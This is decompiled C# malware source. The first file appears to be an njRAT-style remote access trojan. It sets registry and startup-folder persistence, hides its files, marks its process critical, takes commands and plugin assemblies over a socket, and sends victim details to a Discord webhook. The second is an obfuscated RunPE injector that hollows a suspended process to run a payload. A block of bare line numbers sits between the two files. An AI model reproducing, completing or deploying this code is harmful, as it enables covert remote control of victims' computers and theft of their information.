		{
			ProjectData.SetProjectError(ex19);
			Exception ex20 = ex19;
			ProjectData.SetProjectError(ex20);
			Exception ex21 = ex20;
			text += Y;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		text = ((!Cam()) ? (text + "No" + Y) : (text + "Yes" + Y));
		text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object)text, Fc), (object)Y), (object)".."), (object)Y), (object)VU), (object)Y), (object)ACT()), (object)Y));
		string text6 = "";
		try
		{
			string[] valueNames = ((ServerComputer)F).Registry.CurrentUser.CreateSubKey("Software\\" + RG, RegistryKeyPermissionCheck.Default).GetValueNames();
			foreach (string text7 in valueNames)
			{
				if (text7.Length == 32)
				{
					text6 = text6 + text7 + ",";
				}
			}
		}
		catch (Exception ex22)
		{
			ProjectData.SetProjectError(ex22);
			Exception ex23 = ex22;
			ProjectData.SetProjectError(ex23);
			Exception ex24 = ex23;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		return text + text6;
	}

	[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
	public static void ko()
	{
		checked
		{
			try
			{
				sf = Strings.StrReverse(sf);
				x = x.Replace("https://", "");
				string text = x;
				P = Strings.StrReverse(text);
				ss = ss.Replace("https://", "");
				string text2 = ss;
				H = Strings.StrReverse(text2);
				for (int num = Conversions.ToInteger(Time); num != 0; num--)
				{
					Thread.Sleep(1000);
				}
			}
			catch (Exception ex)
			{
				ProjectData.SetProjectError(ex);
				Exception ex2 = ex;
				ProjectData.ClearProjectError();
			}
			if (Interaction.Command() != null)
			{
				try
				{
					((ServerComputer)F).Registry.CurrentUser.SetValue("di", "!");
				}
				catch (Exception ex3)
				{
					ProjectData.SetProjectError(ex3);
					Exception ex4 = ex3;
					ProjectData.SetProjectError(ex4);
					Exception ex5 = ex4;
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
				}
				Thread.Sleep(5000);
			}
			bool createdNew = false;
			MT = new Mutex(initiallyOwned: true, RG, out createdNew);
			if (!createdNew)
			{
				ProjectData.EndApp();
			}
			INS();
			if (!Idr)
			{
				EXE = LO.Name;
				DR = LO.Directory.Name;
			}
			Thread thread = new Thread(RC, 1);
			thread.Start();
			int num2 = 0;
			string text3 = "";
			if (BD)
			{
				try
				{
					SystemEvents.SessionEnding += _Lambda__2;
					pr(1);
				}
				catch (Exception ex6)
				{
					ProjectData.SetProjectError(ex6);
					Exception ex7 = ex6;
					ProjectData.SetProjectError(ex7);
					Exception ex8 = ex7;
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
				}
			}
			while (true)
			{
				Thread.Sleep(1000);
				if (!Cn)
				{
					text3 = "";
				}
				Application.DoEvents();
				try
				{
					num2++;
					if (num2 == 5)
					{
						try
						{
							Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
						}
						catch (Exception ex9)
						{
							ProjectData.SetProjectError(ex9);
							Exception ex10 = ex9;
							ProjectData.SetProjectError(ex10);
							Exception ex11 = ex10;
							ProjectData.ClearProjectError();
							ProjectData.ClearProjectError();
						}
					}
					if (num2 >= 8)
					{
						num2 = 0;
						string text4 = ACT();
						if (Operators.CompareString(text3, text4, false) != 0)
						{
							text3 = text4;
							Send("act" + Y + text4);
						}
					}
					if (!Isu)
					{
						continue;
					}
					try
					{
						if (Operators.ConditionalCompareObjectNotEqual(RuntimeHelpers.GetObjectValue(((ServerComputer)F).Registry.CurrentUser.GetValue(sf + "\\" + RG, "")), (object)rgg, false))
						{
							((ServerComputer)F).Registry.CurrentUser.OpenSubKey(sf, writable: true).SetValue(RG, rgg);
						}
					}
					catch (Exception ex12)
					{
						ProjectData.SetProjectError(ex12);
						Exception ex13 = ex12;
						ProjectData.SetProjectError(ex13);
						Exception ex14 = ex13;
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
					}
					try
					{
						if (Operators.ConditionalCompareObjectNotEqual(RuntimeHelpers.GetObjectValue(((ServerComputer)F).Registry.LocalMachine.GetValue(sf + "\\" + RG, "")), (object)rgg, false))
						{
							((ServerComputer)F).Registry.LocalMachine.OpenSubKey(sf, writable: true).SetValue(RG, rgg);
						}
					}
					catch (Exception ex15)
					{
						ProjectData.SetProjectError(ex15);
						Exception ex16 = ex15;
						ProjectData.SetProjectError(ex16);
						Exception ex17 = ex16;
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
					}
				}
				catch (Exception ex18)
				{
					ProjectData.SetProjectError(ex18);
					Exception ex19 = ex18;
					ProjectData.SetProjectError(ex19);
					Exception ex20 = ex19;
					ProjectData.ClearProjectError();
					ProjectData.ClearProjectError();
				}
			}
		}
	}

	public static string md5(byte[] B)
	{
		B = new MD5CryptoServiceProvider().ComputeHash(B);
		string text = "";
		byte[] array = B;
		foreach (byte b in array)
		{
			text += b.ToString("x2");
		}
		return text;
	}

	[DllImport("ntdll")]
	private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);

	public static object Plugin(byte[] b, string c)
	{
		Module[] modules = Assembly.Load(b).GetModules();
		foreach (Module module in modules)
		{
			Type[] types = module.GetTypes();
			foreach (Type type in types)
			{
				if (type.FullName.EndsWith("." + c))
				{
					return module.Assembly.CreateInstance(type.FullName);
				}
			}
		}
		return null;
	}

	public static void pr(int i)
	{
		try
		{
			NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, ref i, 4);
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
	}

	public static void RC()
	{
		checked
		{
			while (true)
			{
				lastcap = "";
				if (FCC != null)
				{
					long num = -1L;
					int num2 = 0;
					try
					{
						while (true)
						{
							IL_0019:
							num2++;
							if (num2 == 10)
							{
								num2 = 0;
								Thread.Sleep(1);
							}
							if (!Cn)
							{
								break;
							}
							if (FCC.Available < 1)
							{
								FCC.Client.Poll(-1, SelectMode.SelectRead);
							}
							while (FCC.Available > 0)
							{
								if (num == -1)
								{
									string text = "";
									while (true)
									{
										int num3 = FCC.GetStream().ReadByte();
										switch (num3)
										{
										case -1:
											break;
										case 0:
											num = Conversions.ToLong(text);
											text = "";
											if (num == 0)
											{
												Send("");
												num = -1L;
											}
											if (FCC.Available <= 0)
											{
												goto IL_0019;
											}
											goto IL_0055;
										default:
											goto IL_00d1;
										}
										break;
										IL_00d1:
										text += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(num3).ToString()));
									}
									break;
								}
								b = new byte[FCC.Available + 1 - 1 + 1];
								long num4 = num - MeM.Length;
								if (b.Length > num4)
								{
									b = new byte[(int)(num4 - 1) + 1 - 1 + 1];
								}
								int count = FCC.Client.Receive(b, 0, b.Length, SocketFlags.None);
								MeM.Write(b, 0, count);
								if (MeM.Length == num)
								{
									num = -1L;
									Thread thread = new Thread(LOP, 1);
									thread.Start(MeM.ToArray());
									thread.Join(100);
									MeM.Dispose();
									MeM = new MemoryStream();
								}
								goto IL_0019;
								IL_0055:;
							}
							break;
						}
					}
					catch (Exception ex)
					{
						ProjectData.SetProjectError(ex);
						Exception ex2 = ex;
						ProjectData.SetProjectError(ex2);
						Exception ex3 = ex2;
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
					}
				}
				do
				{
					try
					{
						if (PLG != null)
						{
							NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(PLG), (Type)null, "clear", new object[0], (string[])null, (Type[])null, (bool[])null, true);
							PLG = null;
						}
					}
					catch (Exception ex4)
					{
						ProjectData.SetProjectError(ex4);
						Exception ex5 = ex4;
						ProjectData.SetProjectError(ex5);
						Exception ex6 = ex5;
						ProjectData.ClearProjectError();
						ProjectData.ClearProjectError();
					}
					Cn = false;
				}
				while (!connect());
				Cn = true;
			}
		}
	}

	public static byte[] SB(ref string S)
	{
		return Encoding.UTF8.GetBytes(S);
	}

	public static bool Send(string S)
	{
		return Sendb(SB(ref S));
	}

	public static bool Sendb(byte[] b)
	{
		//Discarded unreachable code: IL_0090
		if (!Cn)
		{
			return false;
		}
		try
		{
			FileInfo lO = LO;
			lock (lO)
			{
				if (!Cn)
				{
					return false;
				}
				MemoryStream memoryStream = new MemoryStream();
				string S = b.Length + "\0";
				byte[] array = SB(ref S);
				memoryStream.Write(array, 0, array.Length);
				memoryStream.Write(b, 0, b.Length);
				FCC.Client.Send(memoryStream.ToArray(), 0, checked((int)memoryStream.Length), SocketFlags.None);
			}
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			try
			{
				if (Cn)
				{
					Cn = false;
					FCC.Close();
				}
			}
			catch (Exception ex4)
			{
				ProjectData.SetProjectError(ex4);
				Exception ex5 = ex4;
				ProjectData.SetProjectError(ex5);
				Exception ex6 = ex5;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		return Cn;
	}

	public static bool STV(string n, object t, RegistryValueKind typ)
	{
		try
		{
			((ServerComputer)F).Registry.CurrentUser.CreateSubKey("Software\\" + RG).SetValue(n, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(t))), typ);
			return true;
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			bool result = false;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
			return result;
		}
	}

	private static bool CompDir(FileInfo F1, FileInfo F2)
	{
		if (Operators.CompareString(F1.Name.ToLower(), F2.Name.ToLower(), false) == 0)
		{
			DirectoryInfo directoryInfo = F1.Directory;
			DirectoryInfo directoryInfo2 = F2.Directory;
			do
			{
				if (Operators.CompareString(directoryInfo.Name.ToLower(), directoryInfo2.Name.ToLower(), false) != 0)
				{
					return false;
				}
				directoryInfo = directoryInfo.Parent;
				directoryInfo2 = directoryInfo2.Parent;
				if (directoryInfo == null && directoryInfo2 == null)
				{
					return true;
				}
				if (directoryInfo == null)
				{
					return false;
				}
			}
			while (directoryInfo2 != null);
		}
		return false;
	}

	[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
	public static void INS()
	{
		if (Idr && !CompDir(LO, new FileInfo(Interaction.Environ(DR).ToLower() + "\\" + EXE.ToLower())))
		{
			try
			{
				if (File.Exists(Interaction.Environ(DR) + "\\" + EXE))
				{
					File.Delete(Interaction.Environ(DR) + "\\" + EXE);
				}
				FileStream fileStream = new FileStream(Interaction.Environ(DR) + "\\" + EXE, FileMode.CreateNew);
				byte[] array = File.ReadAllBytes(LO.FullName);
				fileStream.Write(array, 0, array.Length);
				fileStream.Flush();
				fileStream.Close();
				LO = new FileInfo(Interaction.Environ(DR) + "\\" + EXE);
				Process.Start(LO.FullName);
				Interaction.Shell("attrib +h +r +s \"" + LO.FullName + "\"", (AppWinStyle)0, false, -1);
				((ServerComputer)F).Registry.CurrentUser.OpenSubKey(sf, writable: true).SetValue(RG + "2", LO.FullName);
				ProjectData.EndApp();
			}
			catch (Exception ex)
			{
				ProjectData.SetProjectError(ex);
				Exception ex2 = ex;
				ProjectData.SetProjectError(ex2);
				Exception ex3 = ex2;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
		}
		try
		{
			Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);
		}
		catch (Exception ex4)
		{
			ProjectData.SetProjectError(ex4);
			Exception ex5 = ex4;
			ProjectData.SetProjectError(ex5);
			Exception ex6 = ex5;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		if (Isu)
		{
			try
			{
				((ServerComputer)F).Registry.CurrentUser.OpenSubKey(sf, writable: true).SetValue(RG + "2", rgg);
			}
			catch (Exception ex7)
			{
				ProjectData.SetProjectError(ex7);
				Exception ex8 = ex7;
				ProjectData.SetProjectError(ex8);
				Exception ex9 = ex8;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
			try
			{
				((ServerComputer)F).Registry.LocalMachine.OpenSubKey(sf, writable: true).SetValue(RG + "2", rgg);
			}
			catch (Exception ex10)
			{
				ProjectData.SetProjectError(ex10);
				Exception ex11 = ex10;
				ProjectData.SetProjectError(ex11);
				Exception ex12 = ex11;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
		}
		if (IsF)
		{
			try
			{
				File.Copy(LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".exe", overwrite: true);
				FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".exe", FileMode.Open);
				File.Copy(LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".exe", overwrite: true);
				FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + RG + ".exe", FileMode.Open);
			}
			catch (Exception ex13)
			{
				ProjectData.SetProjectError(ex13);
				Exception ex14 = ex13;
				ProjectData.SetProjectError(ex14);
				Exception ex15 = ex14;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
		}
		if (att)
		{
			try
			{
				Del();
			}
			catch (Exception ex16)
			{
				ProjectData.SetProjectError(ex16);
				Exception ex17 = ex16;
				ProjectData.SetProjectError(ex17);
				Exception ex18 = ex17;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
		}
		if (DIC)
		{
			try
			{
				Discord();
			}
			catch (Exception ex19)
			{
				ProjectData.SetProjectError(ex19);
				Exception ex20 = ex19;
				ProjectData.SetProjectError(ex20);
				Exception ex21 = ex20;
				ProjectData.ClearProjectError();
				ProjectData.ClearProjectError();
			}
		}
	}

	public static void Discord()
	{
		try
		{
			string dS = DS;
			object obj = new WebClient();
			object obj2 = new NameValueCollection();
			NewLateBinding.LateIndexSet(obj2, new object[2]
			{
				"content",
				"You have a running computer...\r\ninformation ------------------------------\r\n[+] Name   : " + Environment.UserName + "\r\n[+] System : " + ((ServerComputer)F).Info.OSFullName + "\r\n[+] Host   : " + H + "\r\n[+] Port   : " + P
			}, (string[])null);
			object[] array = new object[2]
			{
				dS,
				RuntimeHelpers.GetObjectValue(obj2)
			};
			bool[] array2 = new bool[2] { true, true };
			NewLateBinding.LateCall(obj, (Type)null, "UploadValues", array, (string[])null, (Type[])null, array2, true);
			if (array2[0])
			{
				dS = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string));
			}
			if (array2[1])
			{
				obj2 = RuntimeHelpers.GetObjectValue(array[1]);
			}
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.ClearProjectError();
		}
	}

	public static void Del()
	{
		if (att)
		{
			try
			{
				Interaction.Shell("attrib +h +r +s \"" + Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".exe\"", (AppWinStyle)0, false, -1);
				Interaction.Shell("attrib +h +r +s \"" + LIH + "\"", (AppWinStyle)0, false, -1);
			}
			catch (Exception ex)
			{
				ProjectData.SetProjectError(ex);
				Exception ex2 = ex;
				ProjectData.ClearProjectError();
			}
		}
	}

	[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
	public static void UNS()
	{
		pr(0);
		Isu = false;
		try
		{
			((ServerComputer)F).Registry.CurrentUser.OpenSubKey(sf, writable: true).DeleteValue(RG, throwOnMissingValue: false);
		}
		catch (Exception ex)
		{
			ProjectData.SetProjectError(ex);
			Exception ex2 = ex;
			ProjectData.SetProjectError(ex2);
			Exception ex3 = ex2;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			((ServerComputer)F).Registry.LocalMachine.OpenSubKey(sf, writable: true).DeleteValue(RG, throwOnMissingValue: false);
		}
		catch (Exception ex4)
		{
			ProjectData.SetProjectError(ex4);
			Exception ex5 = ex4;
			ProjectData.SetProjectError(ex5);
			Exception ex6 = ex5;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			Interaction.Shell("netsh firewall delete allowedprogram \"" + LO.FullName + "\"", (AppWinStyle)0, false, -1);
		}
		catch (Exception ex7)
		{
			ProjectData.SetProjectError(ex7);
			Exception ex8 = ex7;
			ProjectData.SetProjectError(ex8);
			Exception ex9 = ex8;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			if (FS != null)
			{
				FS.Dispose();
				File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RG + ".exe");
			}
		}
		catch (Exception ex10)
		{
			ProjectData.SetProjectError(ex10);
			Exception ex11 = ex10;
			ProjectData.SetProjectError(ex11);
			Exception ex12 = ex11;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			((ServerComputer)F).Registry.CurrentUser.OpenSubKey("Software", writable: true).DeleteSubKey(RG, throwOnMissingSubKey: false);
		}
		catch (Exception ex13)
		{
			ProjectData.SetProjectError(ex13);
			Exception ex14 = ex13;
			ProjectData.SetProjectError(ex14);
			Exception ex15 = ex14;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		try
		{
			Interaction.Shell("cmd.exe /c ping 0 -n 2 & del \"" + LO.FullName + "\"", (AppWinStyle)0, false, -1);
		}
		catch (Exception ex16)
		{
			ProjectData.SetProjectError(ex16);
			Exception ex17 = ex16;
			ProjectData.SetProjectError(ex17);
			Exception ex18 = ex17;
			ProjectData.ClearProjectError();
			ProjectData.ClearProjectError();
		}
		ProjectData.EndApp();
	}

	public static byte[] ZIP(byte[] B)
	{
		MemoryStream memoryStream = new MemoryStream(B);
		GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
		byte[] array = new byte[4];
		checked
		{
			memoryStream.Position = memoryStream.Length - 5;
			memoryStream.Read(array, 0, 4);
			int num = BitConverter.ToInt32(array, 0);
			memoryStream.Position = 0L;
			byte[] array2 = new byte[num - 1 + 1 - 1 + 1];
			gZipStream.Read(array2, 0, num);
			gZipStream.Dispose();
			memoryStream.Dispose();
			return array2;
		}
	}
}
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911
// Warning: Some assembly references could not be resolved automatically. This might lead to incorrect decompilation of some parts,
// for ex. property getter/setter access. To get optimal decompilation results, please manually add the missing references to the list of loaded assemblies.
// runpe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// order.yes
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using order;

public static class yes
{
	private delegate int Delegate0(IntPtr handle);

	private delegate bool Delegate1(IntPtr thread, int[] context);

	private delegate bool Delegate2(IntPtr thread, int[] context);

	private delegate bool Delegate3(IntPtr thread, int[] context);

	private delegate bool Delegate4(IntPtr thread, int[] context);

	private delegate int Delegate5(IntPtr handle, int address, int length, int type, int protect);

	private delegate bool Delegate6(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);

	private delegate bool Delegate7(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);

	private delegate int Delegate8(IntPtr process, int baseAddress);

	private delegate bool Delegate9(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref Struct1 startupInfo, ref Struct0 processInformation);

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	private struct Struct0
	{
		public readonly IntPtr intptr_0;

		public readonly IntPtr intptr_1;

		public readonly uint uint_0;

		private readonly uint uint_1;
	}

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	private struct Struct1
	{
		public uint uint_0;

		private readonly string string_0;

		private readonly string string_1;

		private readonly string string_2;

		[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
		private readonly byte[] byte_0;

		private readonly IntPtr intptr_0;

		private readonly IntPtr intptr_1;

		private readonly IntPtr intptr_2;

		private readonly IntPtr intptr_3;
	}

	private static string[] string_0 = Convert.ToString("23lenrek|lldtn|daerhTemuseR|txetnoCdaerhTteS46woW|txetnoCdaerhTteS|txetnoCdaerhTteG46woW|txetnoCdaerhTteG|xEcollAlautriV|yromeMssecorPetirW|yromeMssecorPdaeR|noitceSfOweiVpamnUwZ|AssecorPetaerC|").Split(new string[1] { "|" }, StringSplitOptions.None);

	private static string string_1;

	private static string string_2;

	private static string string_3;

	private static string string_4;

	private static string string_5;

	private static string string_6;

	private static string FmffedpoU;

	private static string string_7;

	private static string string_8;

	private static string string_9;

	private static string string_10;

	private static string string_11;

	private static readonly Delegate0 delegate0_0;

	private static readonly Delegate1 delegate1_0;

	private static readonly Delegate2 delegate2_0;

	private static readonly Delegate3 delegate3_0;

	private static readonly Delegate4 delegate4_0;

	private static readonly Delegate5 delegate5_0;

	private static readonly Delegate6 delegate6_0;

	private static readonly Delegate7 delegate7_0;

	private static readonly Delegate8 delegate8_0;

	private static readonly Delegate9 delegate9_0;

	private static string smethod_0(string string_12)
	{
		string result = default(string);
		string text = default(string);
		bool flag = default(bool);
		int num3 = default(int);
		while (true)
		{
			int num = -182621391;
			while (true)
			{
				uint num2;
				switch ((num2 = (uint)num ^ 0xAA142A05u) % 10u)
				{
				case 9u:
					result = text;
					num = (int)((num2 * 1468303116) ^ 0x49C44C8);
					continue;
				case 8u:
					num = (int)(num2 * 1126234823) ^ -1975236799;
					continue;
				case 7u:
				{
					int num4;
					int num5;
					if (flag)
					{
						num4 = 2092358217;
						num5 = 2092358217;
					}
					else
					{
						num4 = 1378074789;
						num5 = 1378074789;
					}
					num = num4 ^ (int)(num2 * 1000400265);
					continue;
				}
				case 6u:
					text = "";
					num3 = string_12.Length - 1;
					num = (int)((num2 * 1805398699) ^ 0x1597BD27);
					continue;
				case 5u:
					num = ((int)num2 * -1054755974) ^ 0x6F009764;
					continue;
				case 4u:
					text += string_12[num3];
					num3--;
					num = ((int)num2 * -956446027) ^ -1540841963;
					continue;
				case 3u:
					num = -2134886613;
					continue;
				case 2u:
					flag = num3 >= 0;
					num = -1560971266;
					continue;
				case 0u:
					break;
				default:
					return result;
				}
				break;
			}
		}
	}

	[DllImport("kernel32", SetLastError = true)]
	private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string string_12);

	[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
	private static extern IntPtr GetProcAddress(IntPtr intptr_0, [MarshalAs(UnmanagedType.VBByRefStr)] ref string string_12);

	private unsafe static T smethod_1<T>(object object_0, object object_1)
	{
		T result = (T)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&object_0)), ref *(string*)(&object_1)), typeof(T));
		while (true)
		{
			int num = -1141402450;
			while (true)
			{
				uint num2;
				switch ((num2 = (uint)num ^ 0xDEAB2CFFu) % 3u)
				{
				case 2u:
					goto IL_0025;
				case 0u:
					break;
				default:
					return result;
				}
				break;
				IL_0025:
				num = (int)(num2 * 1189493330) ^ -684938926;
			}
		}
	}

	public static void Execute(string path, byte[] payload)
	{
		uint num = 420596485u;
		int num2 = 0;
		bool flag4 = default(bool);
		int num7 = default(int);
		int bufferSize = default(int);
		bool flag17 = default(bool);
		int[] array = default(int[]);
		bool flag3 = default(bool);
		bool flag15 = default(bool);
		bool flag11 = default(bool);
		bool flag16 = default(bool);
		int num40 = default(int);
		int num33 = default(int);
		int srcOffset = default(int);
		int num19 = default(int);
		int num15 = default(int);
		int length = default(int);
		int num9 = default(int);
		int buffer = default(int);
		int num16 = default(int);
		byte[] array2 = default(byte[]);
		bool flag12 = default(bool);
		bool flag6 = default(bool);
		int num14 = default(int);
		bool flag7 = default(bool);
		bool flag9 = default(bool);
		short num26 = default(short);
		int num25 = default(int);
		bool flag8 = default(bool);
		bool flag10 = default(bool);
		bool flag13 = default(bool);
		bool flag14 = default(bool);
		bool flag5 = default(bool);
		while (true)
		{
			bool flag = num2 < 5;
			int num3 = 9848796;
			while (true)
			{
				switch ((num = (uint)num3 ^ 0x3E0691EFu) % 5u)
				{
				case 3u:
					num2++;
					num3 = 170510366;
					continue;
				case 2u:
					num3 = 171826151;
					continue;
				case 1u:
				{
					if (!flag)
					{
						num3 = ((int)num * -800578150) ^ 0x5CACF755;
						continue;
					}
					int bytesWritten = 0;
					Struct1 startupInfo = default(Struct1);
					Struct0 processInformation = default(Struct0);
					startupInfo.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(Struct1)));
					try
					{
						bool flag2 = !delegate9_0(path, string.Empty, IntPtr.Zero, IntPtr.Zero, inheritHandles: false, 134217732u, IntPtr.Zero, null, ref startupInfo, ref processInformation);
						while (true)
						{
							int num4 = 2138586973;
							while (true)
							{
								switch ((num = (uint)num4 ^ 0x3E0691EFu) % 76u)
								{
								case 75u:
								{
									int num10;
									int num11;
									if (flag4)
									{
										num10 = -555776695;
										num11 = -555776695;
									}
									else
									{
										num10 = -758921288;
										num11 = -758921288;
									}
									num4 = num10 ^ ((int)num * -1091942078);
									continue;
								}
								case 74u:
								{
									int num29;
									int num30;
									if (!flag2)
									{
										num29 = -310899580;
										num30 = -310899580;
									}
									else
									{
										num29 = -1941287759;
										num30 = -1941287759;
									}
									num4 = num29 ^ (int)(num * 1344981982);
									continue;
								}
								case 73u:
								{
									int num8;
									if (delegate6_0(processInformation.intptr_0, num7, payload, bufferSize, ref bytesWritten))
									{
										num4 = 546117217;
										num8 = 546117217;
									}
									else
									{
										num4 = 1277841475;
										num8 = 1277841475;
									}
									continue;
								}
								case 72u:
									flag17 = !delegate3_0(processInformation.intptr_1, array);
									num4 = (int)((num * 1366839287) ^ 0x10ABCC1E);
									continue;
								case 71u:
									num4 = (int)(num * 1924060960) ^ -955226800;
									continue;
								case 70u:
									flag3 = delegate2_0(processInformation.intptr_1, array);
									num4 = (int)((num * 1286461066) ^ 0x29C2C38A);
									continue;
								case 69u:
								{
									int num38;
									int num39;
									if (flag15)
									{
										num38 = -1726399991;
										num39 = -1726399991;
									}
									else
									{
										num38 = -160229496;
										num39 = -160229496;
									}
									num4 = num38 ^ (int)(num * 534159826);
									continue;
								}
								case 67u:
								{
									int num23;
									int num24;
									if (flag11)
									{
										num23 = 1929860551;
										num24 = 1929860551;
									}
									else
									{
										num23 = 935202474;
										num24 = 935202474;
									}
									num4 = num23 ^ (int)(num * 1052223104);
									continue;
								}
								case 66u:
								{
									int num45;
									int num46;
									if (flag16)
									{
										num45 = 2053309107;
										num46 = 2053309107;
									}
									else
									{
										num45 = 1075251106;
										num46 = 1075251106;
									}
									num4 = num45 ^ (int)(num * 522527451);
									continue;
								}
								case 65u:
									num4 = (int)((num * 2082113967) ^ 0x41D05A3A);
									continue;
								case 63u:
								{
									num40 = BitConverter.ToInt32(payload, num33 + 16);
									srcOffset = BitConverter.ToInt32(payload, num33 + 20);
									int num41;
									int num42;
									if (num40 == 0)
									{
										num41 = -2044314112;
										num42 = -2044314112;
									}
									else
									{
										num41 = -1744183728;
										num42 = -1744183728;
									}
									num4 = num41 ^ (int)(num * 2111148972);
									continue;
								}
								case 62u:
									num19 = BitConverter.ToInt32(payload, num33 + 12);
									num4 = 1948841968;
									continue;
								case 61u:
									num7 = delegate5_0(processInformation.intptr_0, num15, length, 12288, 64);
									flag15 = num7 == 0;
									num4 = ((int)num * -2142491794) ^ -1012446892;
									continue;
								case 60u:
									num9 = array[41];
									buffer = 0;
									num4 = 1169712234;
									continue;
								case 59u:
									num16 = BitConverter.ToInt32(payload, 60);
									num15 = BitConverter.ToInt32(payload, num16 + 52);
									num4 = 1755343267;
									continue;
								case 58u:
									num33 = num16 + 248;
									num4 = 207587741;
									continue;
